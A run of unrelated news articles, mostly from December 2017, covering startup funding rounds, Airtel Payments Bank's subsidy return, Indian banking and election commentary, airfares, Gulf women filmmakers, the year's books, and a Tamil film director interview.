Mene Inc., a Paris, France-based online 24 karat luxury jewelry brand, raised an up to $21m in growth funding.

The round was led by several institutional and high net worth investors from Canada, Europe, Asia and the U.S. Prior to this round, Mene had raised seed funding from its founders and Goldmoney Inc. (TSX:XAU), which maintains a 32% equity ownership stake.

Anja Rubik has joined Mene as investor, creative advisor.

The company intends to use the funds to accelerate the continued development of the business, which launched under an invitation-only beta on November 15, 2017, with further investments in manufacturing and distribution infrastructure and in customer acquisition programs in both online and offline channels.

Co-founded by CEO Roy Sebag and Chief Artistic Officer and Co-Founder Diana Widmaier-Picasso, Mene designs, manufactures, and markets pure 24 karat gold and platinum investment jewelry that is sold direct-to-consumer in 90 countries. Through mene.com, customers can buy, sell, and exchange Mene jewelry by gram weight at the prevailing market prices for gold and platinum plus a transparently disclosed design and manufacturing fee.

Over the last two years, the company has built-out a vertically-integrated business infrastructure which encompasses in-house design, manufacturing, software engineering, marketing, and distribution. It operates its own fulfillment centre in partnership with The Brinks Company and ships jewelry to consumers in 80 countries within 3 days and with full insurance.

FinSMEs

19/12/2017
Stitch Health, a San Francisco, CA-based digital health startup, closed a Series A funding round of undisclosed amount.

The round was led by Benchmark with participation from Y Combinator. In conjunction with the funding, Benchmarks Bill Gurley will be joining the board.

Co-founded by Bharat Kilaru, CEO, and Jonathan Weinstein, Stitch Health provides healthcare organizations with a HIPAA-compliant, care coordination platform, which integrates with existing electronic health records (EHRs).

Availble via desktop, iOS, and Android, the system offers:

 Stitch Connect, which allows team members to communicate with one another about patient care,

 Stitch Engage, which allows healthcare providers to communicate with their patients, and

 Stitch Manage, which gives providers the ability to oversee individual patient relationships.

The company is currently focused on SMBs actively looking to improve the patient experience, including primary care clinics, behavioral health centers, home health agencies, independent pharmacies, and more.

Customers include teams at Luminance Recovery, Princeton Brain & Spine, and the Dermatology & Skin Surgery Institute.

FinSMEs

18/12/2017
Virgin Hyperloop One, a Los Angeles, CA-based company that has built a full-scale hyperloop system, raised $50m in Series C funding.

Backers included Caspian Venture Capital and DP World. The investment brings the total financing raised by Virgin Hyperloop One to $295m since its founding in 2014.

The company, which has also completed its third phase of testing achieving historic test speeds of 387 kilometers per hour, will use these new funds to pursue opportunities in key markets in the Middle East, Europe, and Russia, focusing in 2018 on accelerating commercial agreements for both passenger and cargo projects.

In addition to the funding, Richard Branson, founder of the Virgin Group, will become the Chairman of Virgin Hyperloop One. Branson joined the Virgin Hyperloop One board of directors in October 2017 after Virgin Group invested in the company and formed a global strategic partnership. The company is in the process of rebranding itself Virgin Hyperloop One.

Led by CEO Rob Lloyd and and Josh Giegel, co-founder and chief technology officer, Virgin Hyperloop One has also set a test speed record of nearly 387 kilometers per hour (240 miles per hour, 107 meters per second) during its third phase of testing at DevLoop, the worlds first full-scale hyperloop test site. All components of the system were tested including the airlock, highly efficient electric motor, advanced controls and power electronics, custom magnetic levitation and guidance, pod suspension, and the vacuum.

The tests were conducted in a tube depressurized down to the equivalent air pressure experienced at 200,000 feet above sea level. A Virgin Hyperloop One pod quickly lifts above the track using magnetic levitation and glides at airline speeds for long distances due to ultra-low aerodynamic drag.

FinSMEs

19/12/2017
11/17/2022

Flat Top Freddie's Picks: Bears (+3.5) Justin Fields has been playing lights out the past couple games. Giants (-3) Saquon Barkley is having a resurgent year and Detroits run defense ... more
New Delhi: Within days of getting a rap on its knuckles, Airtel on Monday offered to return Rs 190 crore subsidy that had flown into the 'unsolicited' Payments Bank accounts of its 31 lakh mobile phone subscribers, sources said today.

Airtel wrote to National Payments Corporation of India (NPCI) on Monday promising to return Rs 190 crore (along with interest) to the consumers original bank accounts that were linked to the Direct Benefit Transfer (DBT), the sources familiar with the development told PTI.

NPCI is an umbrella organisation for all retail payments in India.

Both Airtel and Airtel Payments bank came under fire after Airtel allegedly opened accounts of its mobile phone subscribers without seeking their "informed consent", and LPG subsidy worth crores was deposited to these accounts.

The government acted swiftly in the matter and the Unique Identification Authority of India (UIDAI), in a stern move late last week, temporarily barred the company from conducting Aadhaar-based SIM verification of mobile customers using eKYC process and e-KYC of payments bank clients.

Suspending the 'e-KYC licence key', the Aadhaar issuing body UIDAI also ordered PricewaterhouseCoopers to conduct an audit of Bharti Airtel and Airtel Payments Bank to ascertain if their systems and processes are in compliance with the Aadhaar Act.

"The government has taken a stern view of the entire issue and Airtel has been forced to return the amount to original bank account of these customers," said a government source who did not wish to be named.

The mechanism of the DBT benefits floating into the accounts is also being tightened, to bring in greater accountability, he noted.

Mounting pressure on Airtel, the state-run oil companies had begun writing to the billionaire Sunil Mittal-led firm asking it to transfer back the LPG subsidy that got credited to its payment bank accounts.

The subsidy that the government pays to households for buying cooking gas LPG has got credited to these payments bank accounts, leading to inconvenience to users many of whom did not know that their entitlement was not coming to their regular bank account but going an account which they had not applied for.

Taking a lead, Hindustan Petroleum Corp Ltd (HPCL) wrote to Airtel asking it to revert the subsidy to the customers' earlier bank account or transfer the same to the oil companies.

In a statement earlier in the day, HPCL said oil marketing companies and the oil ministry have been getting a large number of complaints from LPG consumers on not receiving LPG subsidy amounts into their earlierbank accounts for the past few weeks.

"In many cases across the three oil marketing companies (Indian Oil Corp, Bharat Petroleum Corp Ltd and HPCL) the Aadhaar linking of LPG consumers has got changed in the NPCI mapper to Airtel Payments Bank and hence the LPG subsidy is getting sent to the new bank account," it had said.

In order to check diversions, the government pays subsidy equivalent to buying 12 LPG cylinders of 14.2-kg each in a year, directly into the bank accounts of beneficiaries. Unlike in the past, LPG now is only available at market price. Beneficiaries get subsidy for one cylinder in advance and are replenished the moment they use it up to buying LPG refill.

Airtel declined to comment when asked about its offer to return Rs 190 crore subsidy to original bank accounts of its 31 lakh customers.

Responding to the statement issued by HPCL, Airtel Payments Bank spokesperson said, "as per government rules, DBT subsidy goes to latest Aadhaar linked bank account. Customers can withdraw this at any of our designated outlets. No charges for such withdrawals are levied".

However, "given that some customers have experienced inconvenience of not being aware of which Bank account the DBT has gone to, we are fully committed to resolving this immediately", it added. The company said it is "in the process" of taking appropriate steps in this regard.
The ongoing discourse surrounding the rise of fintech loses its rhetoric if we look at how the numbers stack up. About 73 percent of bank deposits, and about 7 to 9 percent of global banking profitability is projected to be at risk by 2020. Payments and wealth management are expected to feel the most heat with about 25 percent and 23 percent of business estimated to be at risk to fintech, respectively.

Juxtapose this with the success of some of these new players, and one cant miss realizing the sheer magnitude of impact of the fintech movement. Alibabas payment wallet Alipay has 520 million users, about $180 billion worth of asset inter-management transactions, and a valuation of about $70 billion. Chinas P2P payment service WeChatPay, boasts a transaction volume of about $1.2 trillion annually.

These players have impacted virtually every aspect of traditional banking, and are eroding the business margins of banks and financial institutions.

Fintech offerings today span over 30 areas in the banking value chain, including payments, lending, crowd funding, trade analytics, and more. The areas fintechs have chosen to foray in, invariably reveal their propensity to circumvent regulatory compliance requirements. Add to this the agility their traditional peers typically lack, and you can appreciate how fintechs have been able to gain ground rather swiftly.

After a combative approach, banks are now beginning to see merit in partnering with fintechs to close the digital delivery gap, and in investing in them for joint value propositions. Fintechs do not have the burden of legacy infrastructure, but lack scale and understanding of regulations. On the contrary, traditional banks have an established customer base, and heaps of data, but lack digital agility.

As of 2017, top 10 global banks reported to have invested nearly $3.6 billion in about 56 fintech firms. Leading banks such as JP Morgan Chase in the US, and Santander in the UK, have also significantly increased their fintech investment. The key areas of investment include blockchain, payments, APIs, Cloud, and an overall proclivity to ensure the technology landscape is responsive to market changes.

Future may seem nebulous for banks with traditional business under constant attack, but there is a silver lining for those who choose to go beyond the haze. The remittance market is a classic example of this. The likes of Western Union have put traditional players at risk of losing significant remittance market share. But by tying up with fintechs in the blockchain space, banks stand to gain a three-fold advantage of being able to offer 24x7 availability and transparency, at a reduced cost of operation.

All this action points to the growing realization among banks that competing to kill is clearly passe, and collaborating to go to market together is the new normal.

Open APIs opened the floodgates to innovation in mobile app development, and led to the emergence of the app economy. Apple recently revealed that about 1.8 billion developers use the app store platform in China alone, earning a total of about $17 billion. Does the future of banking also lie in open innovation? There is little doubt. As third party service providers integrate banking APIs into their offerings, banks will benefit from the slew of data they can plough back into their business.

PSD2 in the EU, open banking in the UK, and closer home, the launch of UPI, are all examples of a world increasingly moving from closed to open. These regulations are pushing banks and fintechs to come together to meet compliance requirements.

In the open future, progressive banks will aspire to be financial service technology providers as opposed to financial services firms. DBS in Singapore is one bank already well on its way to align all aspects of business to operate like a technology company. It is forming partnerships and is firmly eyeing a spot amongst GANALF (Google Amazon Netflix Apple LinkedIn Facebook). Will DBS become the D in GANDALF? And how soon? Time will tell.

(The writer is Associate Vice President & Head  Finacle Product Strategy)
Brand Narendra Modi and Brand Rahul Gandhi can take credit for their respective partys performance in the Gujarat election as their personal charisma has played a key role in gaining votes. With the general elections slated for 2019, what does the Bharatiya Janata Party (BJP) and Congress showing mean for both these leaders  one an established one on the national stage while the other being tested in his new role as the Congress party president?

Though Brand Modi has emerged intact, the BJPs image has been eroded to some extent in Gujarat, say brand experts. The leadership of Modi has remained unscathed, however. Gujarat takes a lot of pride in Prime Minister Narendra Modi. But the policies of the government like demonetisation and the GST (goods and services tax) have impacted the large business community in Gujarat and the BJP's performance in the assembly elections is a proof of their anger, says Alpana Parida, president, DY Works  a global brand strategy and brand design firm.

One thing is clear though. Rahul Gandhi cannot be anymore dismissed as the pappu  a word often used to describe the Congress party leader by his critics. It was largely expected that Gujarat would be a walk-over for the BJP. Whoever would have thought there would be a contender in the form of the Congress party led by Rahul Gandhi no less, asks Parida.

To believe that Brand Modi and the BJP continue to enjoy the support of a large populace is an assumption that has been busted at the hustings. Did the tide turn for Rahul Gandhi though, is the question. I feel the Opposition has by and large rallied around the image of Rahul Gandhi. To that extent it is only Rahul Gandhi who can be credited for the Congresss victory, says Harish Bijoor, brand strategy expert and founder, Harish Bijoor Consults Inc. He believes leadership is often about the faces that represent their parties. So on that premise, Modi and Gandhi are seen as the party by their supporters. But Bijoor hastens to add that the elevation of Gandhi as the party president did not impact the elections as it were. Being made party president is primarily an internal matter of the party and elections here are by like-minded people, he said. I think the Gujarat election is the first coming of Rahul Gandhi as a brand, says Bijoor, for getting 80 seats is no mere feat, he said.

There are various angles to look at with regard to the the results of the Gujarat assembly elections. Just as there were a few to show support, albeit for the first time, to Gandhi, there are others who feel it is a case of coming to too-soon-a-conclusion on the newly anointed president of the oldest party of India.

It is true that the structural policies put in place by Prime Minister Modi will take some time before it can give out results and that could have impacted the partys fate at the polls. But I am doubtful when the media says the Congress has performed well or that Brand Rahul has made a comeback. Gandhi has only improved on his performance and there is a long way for him to go to before he can challenge Modi, says Siddharth Shekhar Singh, associate professor of marketing at the Indian School of Business (ISB).

Singh feels that too many local factors helped the Congress and many of them were not in favour of Modi but they were possibly not in favour of the Congress party either, he says.

If Gandhi is not to be credited with the partys performance at Gujarat, doesnt he warrant to be seen as a face in the Opposition that is strong enough to face the BJP? Some experts feel Brand Gandhi must be given credit. Brand Rahul has transformed into a possible alternative narrative to the Modi narrative which is vitriolic and brash and personal at times. Rahul Gandhi and the Congress have shown up as more balanced and rational by asking party veteran Mani Shankar Aiyar to apologise and then suspending him from its primary membership for embarrassing the party with his remarks, said N Chandramouli, Chief Executive Officer, TRA Research, a brand data insights company.

Chandramouli says that though Brand Rahul has emerged strong from the Gujarat assembly elections, it does not mean that the party with Gandhi at the helm will be able to win the 2019 general elections. One thing is sure. Brand Rahul has infused confidence in his team that the party will not go down without a whimper. There is a balance narrative to it, for now, he says.

There are lessons for both Brand Modi and the BJP and likewise for Brand Rahul Gandhi and the Congress. But though there is a general consensus among brand experts Firstpost spoke to that Brand Rahul Gandhi has been able to make a difference to the Gujarat assembly election results, all are cautious about his future role as it has to be consistent, they aver. Bijoor says that if a Brand Rahul version of 1.0 emerged in Gujarat, there can be a 1.5 version in the interim between Gujarat and Assembly elections provided the party is able to make a difference in Karnataka when the state goes for polls in 2018. That could be the acid test for Gandhi, Bijoor said.

If the Karnataka assembly elections do prove decisive for the Congress and Gandhi fritters away his chances after the good showing at the recently concluded elections in Gujarat, then the Pappu tag will stick on to Gandhi, cautions Parida of DY Works.

The assembly election verdict must be taken seriously by the BJP though. The perception is that the party has not offered anything significant to a state like Gujarat beyond a vibrant tag -- not many new projects, jobs, etc. If it continues to ignore these issues, the electorate will respond like it did in Gujarat, where it even lost the prime ministers home seat of Unjha. That is a warning for Brand Modi, says Chandramouli.

Clearly, both Brand Modi and Brand Gandhi have a lot of work to do to bring back the lustre of yore for the former and to retain what it has gained for the latter. Whether they have succeeded or not will be answered by the electorate every time the leaders and the parties go to them seeking their support.
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The Reserve Bank of India (RBI) doesnt have any information regarding the major irregularities banks committed while compiling the list of names of farmers entitled to benefit from the Rs 34,000 crore farm loan waiver announced by the Maharashtra government, according to an RTI (Right to Information) response from the RBI. The RTI was filed by Firstpost on 27 November.

The Reserve Bank of India has no information in this regard, the RBI said. The central bank was asked to respond with its assessment on the banking mess and the likely action on the erring banks.

At the heart of the matter is a Firstpost investigation (read here) which probed the reasons why Rs 34,000 crore farm loan waiver committed by the Maharashtra government never reached the actual beneficiaries within the deadline. The investigation subsequently revealed serious wrongdoings on the part of banks.

To give a perspective, out of the loan details of about 11 lakh farmers submitted by the State Bank of India (SBI), about three lakh entries had serious errors, according to the reports findings. In just one form submitted by SBI, more than 11,000 farmers were assigned one single Aadhaar number. Not just that, in some cases (read here) banks even hired students to enter farmers data, leading to errors and risking security breach of official records.

The story is largely the same for data furnished by other major banks including HDFC, ICICI, Canara Bank, Central Bank, Bank of Maharashtra and Bank of Baroda. The mess has irked even the Opposition parties with former Maharashtra chief minister Prithviraj Chavan demanding investigation against the banks that committed the fraud.

One possible excuse from the banks is that many farm loans that are eligible for the loan waiver scheme were disbursed years before Aadhar scheme became popular and even now many beneficiaries may not be having Aadhar numbers, which government agencies have insisted from eligible borrowers. But none of this offers an excuse to banks for furnishing wrong data, which might have either denied or delayed the benefit of farm loan waivers to the originally intended needy farmers.

The farm loan waiver was originally announced on 24 June, 2017, the government set 18 October for beginning the disbursal. Remember, this failure is not due to shortage of funds to implement the loan waiver but on account of sheer inefficiency or fraud on part of banks while compiling the list of loan waiver beneficiaries. This needs to be investigated.

In fact, this isnt the first time a farm loan waiver scheme has run into a major roadblock. Take the Rs 36,000 crore scheme implemented in Uttar Pradesh. Many farmers complained that they didn't get what they were promised. Some farmers said they got loan waivers as minuscule as 35 paise. Even during the rollout of the Rs 70,000 crore loan waiver scheme sponsored by the Congress-led UPA regime in 2008, there were reports of needy farmers not benefiting from the programme.

How does a loan waiver work typically? When a government announces a loan waiver, the State Level Banking Committees (SLBCs), a lobby of banks, are tasked to collect the details of eligible farmers from individual banks. Depending on the waiver structure, these lenders may or may not include cooperative banks.

In the case of Maharashtra, the list of lenders included cooperative banks as well and some middlemen were also tasked to compile data. Once the SLBC gets this list, the same is passed on to the state government for final assessment and allocation of the loan waiver amount. In the case of Maharashtra waiver, this process was followed and the list with fake names (or erroneous ones) was passed on to the government without the facts being checked, either intentionally with the connivance of bank officers or due to sheer laxity on their part. The only difference here is that farmers also had an option to make their entries online. Here, the banks claimed that these entries did not match with their data. But, the data submitted by these banks itself was full of errors.

The very merit of the loan waiver schemes and its impact on farmers itself is a matter of debate. However, after committing to farmers monetary relief, the government is unable to deliver the promise on account of the mess created by banks while preparing the list. This raises serious questions on the systems and processes in the banks and the KYC follow-up. The bigger concern is, if banks can mess up data of their clients to this extent as in the loan waiver case, the processes can go wrong elsewhere as well.

Last year, this website had reported a series of stories on how state-run Bank of Baroda wrongly identified people as board directors of failed airline Kingfisher and put a lid on their bank accounts. Such instances keep repeating. It is now the job of the Reserve Bank of India to dig into the details of how banks end up furnishing wrong details of lakhs of farmers in the loan waiver list. In an earlier column, Firstpost had said that at least now the regulator should come into the picture and wake up the sleepwalking banks. But the RBIs RTI response that it doesnt have any clue on the matter is disappointing. The banking regulator is supposed to have a tab on the issue concerning lakhs of customers. Many farmers are now living in uncertainty for no fault of theirs.

(Part of this piece was published earlier. The next part of the Firstpost investigative series will be published this week.)
It's raining cheaper flight tickets in country these days as the aviation sector, of late, is witnessing a war of discounted air tickets among major domestic players. As part of its latest offering, IndiGo, the budget carrier, has lined up a slew of affordable flight tickets to retain its existing travelers and at the same time woo new flyers.

The domestic carrier has come up with tickets for as low a price as Rs 999, according to a report on NDTV.

The all-inclusive fare of Rs 999 is for Delhi-Jaipur route, according to the airline's website -- goindigo.in, which has displayed its new fares. Discounted fares are being offered for flights in other routes as well.

Tickets for Bagdogra to Guwahati start at Rs 1,005 on flights; Rs 1,095 from Coimbatore to Chennai; Rs 1,112 from Jammu to Srinagar, and Rs 1,120 on those coming out of Chennai to Bengaluru, the website mentioned.

The tickets for Delhi-Jaipur are available for flights in mid-January which will be available for some days in February as well.

At year-end, airlines come up with attractive fare prices to woo flyers as this is the time when residents plan their holiday and travel by air. The domestic aviation industry is one of the fastest growing markets in the world.

Local carriers carried 954 lakh passengers during January-October this calendar year. In the same period last year, 814 lakh flyers travelled by air in domestic market. There was an increase of 17.30 percent in number of passengers travelled by air in the period under review.
Women film directors from the Gulf, many of them Arabs, are taking the film world by storm, as the recently-concluded 14th Dubai International Film Festival (DIFF) highlighted. A number of them played and won top prizes at the festival.

Annemarie Jacir from Palestine

Her film Wajib won Best Film at DIFF (Best Muhr Fiction Feature), as well as the Best Actor prize, shared by real-life father and son co-stars, Mohammed Bakri and Saleh Bakri. The film is also Palestine's Oscar entry for Best Foreign Language Film. A heart-warming story of reconciliation of a troubled father-son relationship, Wajib follows a day in the life of Abu Shadi and his son Shadi. As they visit relatives distributing invitations to Shadi's sister's wedding, the film offers insights into Palestinian society, politics and dreams, all in a sophisticated conversational way. The film is a complex Palestine  France  Germany  Colombia  Norway  Qatar - UAE co-production.

Annemarie Jacir is a Palestinian filmmaker who has written, directed and produced over 16 films, including two features, Salt of This Sea, which was at the Cannes Film Festival, and When I Saw You, which won the NETPAC award at the Berlin Film Festival.

Haifaa al-Mansour, Saudi Arabia

Her film Mary Shelley played at the Dubai International Film Festival. Saudi Arabia's first woman director, al-Mansour's debut feature Wadjda was about a young girl who wants to buy a bicycle and race with a boy. It was a delicately observed film that commented on the patriarchy and misogyny in her society. Mary Shelley is a lavish British period drama starring Elle Fanning and Douglas, on the tempestuous relationship between 19th century writer Mary Godwin and the poet Percy Bysshe Shelley.

Mary Shelley played at the Toronto and BFI London Film Festivals, before playing here at Dubai. Wadjda was at the Venice, Sundance and Rotterdam film festivals. Al-Mansour studied literature and film at universities in Cairo and Sydney. She is married to an American diplomat and is based in Los Angeles.

Sofia Djama, Algeria

Her film The Blessed (Les Bienheureux) bagged her the Best Director award at DIFF. A few years after the end of the civil war in Algiers, as Amal and Samir celebrate their 20th wedding anniversary, their son Fahim and his friends wander through a hostile Algiers. The film, in Arabic and French, is a France-Belgium-Qatar co-production. Sofia Djama, who did her bachelors in Algiers, wrote a collection of short stories with Algiers as the protagonist. Her first short film Mollement un samedi matin, adapted from one of her stories, won two awards at the Clermont Ferrand film festival. The Blessed is her debut feature.

Nujoom Alghanem, UAE

Her film Alaat Haddah (Sharp Tools), a feature-length documentary, won Best Emirati feature at DIFF. The film is a fascinating portrait of the late Hassan Sharif, one of the most influential figures in contemporary art in the Gulf--an artist, thinker, writer and critic. He greatly expanded the contours of art in the region, through provocative conceptual pieces and experiments in performance, as well as numerous paintings and sculptures. Nujoom Alghanem is an accomplished Emirati poet, scriptwriter and award-winning director.

Her film Nearby Sky won Best Muhr Non-Fiction at DIFF, and her Amal won First Prize in the Muhr Emirati competition at DIFF.

Yasmine Chouikh, Algeria

Her film Until The End Of Time played at DIFF. It is a moving story of a woman, Johar, 60, who on being widowed, decides to be buried next to her sister. She requests the help of Ali, the old gravedigger, to help her organise her own funeral in the cemetery of Sidi Boulekbour. But preparations for the final journey go awry when Ali and Johar unexpectedly realise they have feelings for each other.

Yasmine Chouikh is an Algerian director who made two shorts, The Door and The Djinn, and a TV series, Studio 27. Until the End of Time is her debut feature.

Special Mentions



Hala Elkoussy (Egypt): Her debut feature Cactus Flower was at DIFF and won Best Actress for Menha El Batroui. A struggling actress, her elderly neighbour and a street-savvy kid, all looking for shelter, develop an unlikely friendship.

Niki Karimi, Iran: A prolific actress and accomplished director, she is also producer and star of Azar, which played at DIFF. The protagonist Azar, not your average Iranian housewife, runs a pizza parlour with her husband, delivers pizza alone on a bike at night, and enjoys riding a bike at motocross. When tragedy strikes their family, she pays a heavy price.
New York: For book readers in 2017, the choice was often between imagining the worst, hoping for the best or escaping entirely.

The most widely read works of the year ranged from Timothy Snyder's On Tyranny, a guide to defending democracy, to Dan Brown's thriller Origin to the personal and political verse of Rupi Kaur. Margaret Atwood's The Handmaid's Tale and George Orwell's 1984 were dystopian tales from the past made newly relevant as warnings of horrors to come. Former White House photographer Pete Souza's Obama: An Intimate Portrait was, for admirers of Trump's predecessor, a bittersweet album of an administration out of office for less than a year but somehow from long ago.

"The usual comment that I get from people who bought the book is that it made them laugh and it made them weep," Souza told The Associated Press during a recent interview.

The headlines were chaotic, but the publishing business remained stable, if unexceptional. The recent trend of slight increases in print sales  up around 2 percent over 2016, according to NPD BookScan, which tracks around 85 percent of the market  and slowing e-book sales continued, while the number of independent bookstores was little changed even as online shopping has devastated other physical retailers.

Publishing also was spared the disruptions of Trump on Twitter. The president had insults for movie stars (Meryl Streep), Broadway shows (Hamilton), CNN and his successor on The Apprentice (Arnold Schwarzenegger). But he seemed mostly unaware or uninterested in the wave of anti-Trump releases. His rare comments about books were scorn for his defeated rival Hillary Clinton and her best-seller about the election, What Happened, and plugs for people he liked, such as Fox & Friends host Brian Kilmeade and his popular history Andrew Jackson and the Miracle of New Orleans.

"We were very grateful," said Kilmeade's publisher, Adrian Zackheim of the conservative imprint Sentinel. "The sales trajectory for the book has been upward and it's very likely the president's support was a factor."

Here are some of the year's more timely, and timeless, releases:

The Handmaid's Tale: Thanks to Trump's election and the popular adaptation on Hulu, Atwood's novel from 1985 about a pitiless, patriarchal society was not only a best-seller, but a touchstone. When a Republican congressman from Arizona, Trent Franks, resigned amid reports that he was offering as much as $5 million for an aide to conceive his child, critics saw a literary parallel. A Miami Herald headline read: "The strange case of surrogacy, sexual harassment and The Handmaid's Tale."

On Tyranny: Snyder's best-seller began as a Facebook posting just after Trump's election and became a reference work for the anti-Trump resistance. In a recent email interview, Snyder said he was most concerned about Trump's attacks on the media and his threats against special counsel Robert Mueller, whose ouster would be "a big step towards the end of the rule of law." One antidote he recommends in On Tyranny: "Get the screens out of your room and surround yourself with books."

"What cheers me is that readers of On Tyranny feel less alone and take actions in the world based on its lessons. My book is a way of organizing the chaos around us and finding ways to sensibly influence it," he told the AP. "But I think almost any reading  away from the Internet  helps us keep our calm and gives us words and ideas that help shield us from the daily barrage of bad news and help us find ways to communicate with one another in person."

The Sun and Her Flowers: Kaur's collection has sold some 400,000 copies, numbers rarely seen for poetry, or at least since her million-selling debut from 2016, "milk and honey." For her second book, Kaur had planned on focusing on "love and loss," she told The Associated Press during a recent telephone interview. But as she was working on the book in January, around the time of Trump's inauguration, she found herself "stopped in her tracks, completely."

"Suddenly I couldn't write love poems," she said. "I found myself writing political pieces and suddenly this book went from two chapters to five. "'milk and honey' was like holding a mirror to yourself, while 'sun and her flowers' is turning the mirror around."

Grant: One of the year's most anticipated nonfiction works, Ron Chernow's Ulysses Grant biography was about the victorious Civil War general and once-disparaged president, now more respected if only for his willingness to use armed force to defend blacks during Reconstruction. Readers could turn to Grant for diversion or engagement, a 19th century life made contemporary in 2017 as Confederate monuments were taken down around the country.

"Of course I had no idea as I was working on Grant that the Civil War would be on the front page shortly before publication," Chernow wrote in a recent email to the AP. "In the last analysis, politics boils down to the stories that we tell ourselves about our past, and there are still two competing narratives about the causes and consequences of the Civil War. The past is prologue to everything that is happening today to the point that the term 'history' almost becomes a misnomer. It is still alive and active all around us."

The Hate U Give: One of the year's top young adult novels was Angie Thomas' story of a black teen whose friend is shot and killed by a white police officer. In an email to the AP, Thomas said she was pleased that both black and non-black readers had related to the book. "Books can give a refuge and they can also give clearer understanding," she said. "Books create empathy by forcing us to see things from someone else's perspective and feel what they feel. I hope that, especially in these troubled times, more people pick up books about people who aren't like them. In some ways, it can be more informative than the news."
Bengaluru: Actress Sunny Leone on Tuesday said that she will not attend the New Year bash in the city after the police denied permission to the organisers.

"Since the police of Bengaluru have publicly said that they will not be able to ensure mine, and all who attend, safety for my New Year's event, my team and I feel, safety of the people should always come first. Therefore, I cannot attend. God bless and I wish everyone a safe and Happy New Year," Sunny tweeted.

She later added: "To all those who protested and to all those who supported, always remember, never allow others to speak and choose for you.

Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Years event,my team & I feel,safety of the people should always come first therefore I cannot attend.God bless & I wish everyone a safe & happy New Year!  Sunny Leone (@SunnyLeone) December 19, 2017

To all those who protested and to all those who supported, always remember,never allow others to speak and choose for you.Have your own voice and make your own choices. You are the youth and you are the NEW INDIA! Stand Proud and Stand together. I love you all dearly!  Sunny Leone (@SunnyLeone) December 19, 2017

"Have your own voice and make your own choices. You are the youth and you are the new India! Stand proud and stand together. I love you all dearly!"

Earlier on Saturday, Bengaluru Police Commissioner T Suneel Kumar denied permission for a New Year bash in the city where Sunny was invited to perform.

"We are denying permission for Sunny Leone's musical show on December 31 night to maintain law and order and prevent any untoward incident in the city," Kumar told reporters in Bengaluru.

Sunny was supposed to perform at the Manyata Tech Park in the city suburbs. However, the city police chief said it would not be possible to provide enough security at the venue as the entire force would be on duty across the city on that night.

"In view of a directive from the Karnataka High Court on Friday to ensure peaceful New Year celebrations and prevent untoward incidents in the city, we will not be able to deploy enough force at one place at the risk of other areas," he said.
Kedhejah Kelly, a senior at Chattanooga School for the Arts and Sciences, has been awarded a full scholarship to attend Emory University on a QuestBridge Scholarship.

Ms. Kelly is a recipient of a QuestBridge 2017 National College Match Scholarship that will provide her early admission into Emory with a guaranteed full, four-year scholarship, including tuition, room, board and other college expenses.



Ms. Kelly was accepted into Emory and she plans to study math with a pre-med emphasis. She plans a career as an anesthesiologist.



The outstanding senior was one of 918 outstanding students selected from 15,606 applicants to the scholarship program this year.

QuestBridge is a national program that pairs high-achieving seniors with highly selective college partners including top liberal arts colleges such as Amherst, Colby, Hamilton, Pomona, Emory and Willams and exceptional research universities such as Brown, Columbia, Duke, University of Chicago, Stanford, Vanderbilt and Yale.



The National College Match is a highly competitive process and according to a release from QuestBridge, these recipients have impressive achievements in high school. Academically, the 918 College Match seniors have an average unweighted GPA of 3.92, they have scored between 1350 and 1490 on the SAT and between 29 and 33 on the ACT, 95 percent rank in the top 10 percent of their class.

QuestBridge also reported that 76 percent of the new QuestBridge Scholars are the first generation of their families to attend a four-year college.
A few minutes with director Vignesh Shivan is what you need to be cheerfully optimistic and full of hope. He can put you in good spirits in a brief conversation. He is always disposed to look on the bright side and is genuinely sanguine about the prospects he takes charge of.

Enter Knack Studios, the swanky, state-of-the-art recently-launched post-production facility in Chennai. Vignesh Shivan is rushing off his feet from one room to the other, managing multiple tasks from discussing a background score cue with Anirudh to correcting the modulation of a dubbing artist in the studio. He is currently busy with the final stages of the post-production work of Suriya's Thaanaa Serndha Koottam.

This is my first interview in a long time, he said, guiding me to the nearby room for an exclusive chat with Firstpost.

Asked about the backstory of how he signed Thaanaa Serndha Koottam, Vignesh Shivan said, After Naanum Rowdy Thaan I was supposed to do Kaathu Vaakkula Rendu Kadhal with Vijay Sethupathi. But due to some date issues he had to sign Kavan at that time. Meanwhile, Gnanavel Raja sir wanted to do a project, and it had a very short deadline to meet. He is the one who set up this project and made me meet Suriya sir. He is the main pillar behind TSK. Although I would have loved to write an original story, we went ahead with adapting Special 26 due to the time constraints.

Is Thaanaa Serdha Koottam an official remake of Special 26? Vignesh Shivan patiently answered the million dollar question: It is neither a free make nor an official remake. We have acquired the remake rights legally. When we remake a film, I don't think I can own the original. That's why I wanted to adapt Special 26 in my way. I can't waste an opportunity to work with a top star like Suriya under a big banner. Also, I can't do a scene-by-scene remake. I have taken the real incident behind Special 26 and presented the film in my way. As you obviously know, there's no space for a song like 'Sodakku Mela Sodakku Poduven' in Special 26.

Does the inclusion of a song like Sodakku mean that Vignesh has adapted Special 26 to meet the Tamil sensibilities? Pat comes the reply, I dont believe in restyling a script solely to meet the commercial demands or sensibilities of a particular locale. I can't force a romance portion in Thaanaa Serndha Koottam just because the romance sequences of my previous film (Naanum Rowdy Thaan) clicked well. All that I need is to make a movie that is entertaining, and that's the ultimatum. But I can't or won't compromise myself to commercialise a project with pre-meditated elements like romance, message or anything as such.

Vignesh says he will always cherish working with Suriya, adding that hes an incredibly talented directors actor. Suriya sir has that quench to try different roles, and he is known for the way he applies himself to a character. He takes it completely upon himself and pays utmost attention to the smallest details like costumes. His meticulous efforts to bring perfection on screen is second to none, said Vignesh.

Vignesh Shivan is known for his uncanny ability to cast senior actors in never-before-seen characters. Thaanaa Serndha Koottam also marks the comeback of veteran actors like Senthil, Suresh Chandra Menon and Sudhakar in crucial supporting roles. Senthil sir is not doing a typical comedian role but a significant character. I always want to try such new characters for our favourite actors. Apart from that, it feels good to see the positivity on their faces, being in sets after a gap. I don't intend to say that they are not offered roles, but it makes them happy. They feel elated by the treatment in sets again. That's what Vijay Sethupathi did to me. After Poda Podi, when I took a year-long break, he called me and asked why I have been idle for so long, and then we met, and Naanum Rowdy Thaan happened. I know how it feels to be back in the sets. 

